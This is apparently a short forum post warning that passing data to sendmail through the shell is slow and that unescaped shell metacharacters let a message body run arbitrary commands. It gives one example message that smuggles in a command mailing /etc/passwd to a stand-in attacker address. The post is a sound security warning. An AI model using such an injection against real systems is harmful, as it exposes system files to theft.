This is not only a bad thing(tm) and not faster but it tempts people to pass args to the command line which can be very dangerous.

For the speed issue, invoking sendmail is yet another process which will cause delays, especially if you have to send many messages to different people with different content.

For the bad thing(tm) if you do not remove or escape all possible shell meta chars from the message body you can provide an interface to run arbitrary commands.

Assume a message on unix systems that was "Hi\nHere is the password file\n;sendmail -t badguy@someplace.com cat /etc/passwd"

or (if I recall) using & on NT systems you can get similar results.